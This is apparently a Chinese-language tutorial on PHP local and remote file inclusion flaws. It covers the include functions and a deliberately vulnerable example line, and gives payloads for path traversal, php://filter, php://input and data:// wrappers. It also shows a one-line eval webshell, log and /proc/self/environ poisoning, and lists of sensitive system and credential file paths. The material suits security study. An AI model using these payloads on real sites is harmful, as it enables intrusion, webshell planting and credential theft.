1. 定义
程序在引用文件的时候,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
2. 漏洞原理
PHP中文件包含函数有以下四种:
- require()
- require_once()
- include()
- include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
最简单的漏洞代码:<?php include($_GET[file]);?>
当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。即你可以上传一个含shell的txt或jpg文件,包含它会被当作PHP代码执行(图马)。
3. 漏洞类型
a. 本地包含漏洞:即被包含的文件在服务器本地
payload举例:
http://www.webtester.com/include/file01.php?file=../../../../etc/passwd 这样就可以查看到服务器内某个文件的内容(但还是以php文件执行)
一般情况下会结合文件上传漏洞使用
如果读取的内容是php文件,由于是后端代码会执行,所以想要查看里面具体的内容就得需要借助伪协议
b. 远程文件包含:即被包含的文件在第三方服务器中
使用条件:
allow_url_fopen=On
allow_url_include=On
利用: ?flie=http://127.0.0.1/x.txt 里面可以包含攻击代码
4. 伪协议类型(需要开启allow_url_include=On)
a. php://filter
协议解释: php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要
开启allow_url_include;
用法: ?file=php://filter/[read=]convert.base64-encode/resource=xxx.php 这里也可以指定用其他的编码方式
b. php://input
协议解释: input将数据POST过去,即php://input是用来接收post数据的
利用条件:
php < 5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用
用法: ?file=php://input,接着用hackerbar,post攻击代码( 可以写入shell(需要权限),比如:<?php fputs(fopen('shell.php',"a"),'<?php @eval($_POST["666"]) ?>') ?> )
c. data://
协议解释: 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的
利用条件:
php > 5.2
allow_url_fopen=On
用法:
?file=data://text/plain,<?php phpinfo ?>
?file=data://text/plain;base64,base64编码的payload
注意: 如果编码后出现+,需要添加空格改变编码内容,因为浏览器不认识+,其次,不写后面的?> 因为PHP里面其实不需要写后面的?>。前面的;就已经说明结束了。如果没有;就必须写?>作为结束。
f. 包含日志文件
一般的日志文件路径(需要目前的网站具有管理员权限):
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
用法: 抓包更改包中的一些属性,将内容换成php攻击代码,然后文件包含日志
g. /proc/self/environ(需要目前的网站文件具有管理员权限)
漏洞原理:在Linux系统中,当前进程的环境变量可以被读取,通过/proc/self/environ。(如果apache2 在运行的情况下)其中一个环境变量集(我也不知道是不是翻译成这个)就是user_agent头,它可以通过http请求被控制(修改),如果/proc/self/environ文件可以通过本地文件包含读取到,那么通过请求该文件和将payload写入http中的user-agent头,远程代码漏洞就可以被执行。如果User-Agent被过滤,那么也可以尝试Accept-Encoding(渣翻译,原文章的解释来自于https://www.sec-art.net/2019/01/exploiting-local-file-inclusion-lfi.html?m=1)
用法(HTTP包中):
GET /include/xxx.php?file=proc/self/environ
User-Agent: <?php @eval($_POST['cmd']);phpinfo(); ?>
5. 一些常见的配置文件目录
a. 网站配置文件
dedecms数据库配置文件data/common.inc.php,
discuz全局配置文件config/config_global.php,
phpcms配置文件caches/configs/database.php
phpwind配置文件conf/database.php
wordpress配置文件wp-config.php
b. 系统配置文件
Windows:
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml //IIS配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php配置信息
C:/Windows/my.ini //Mysql配置信息
linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
<待补充>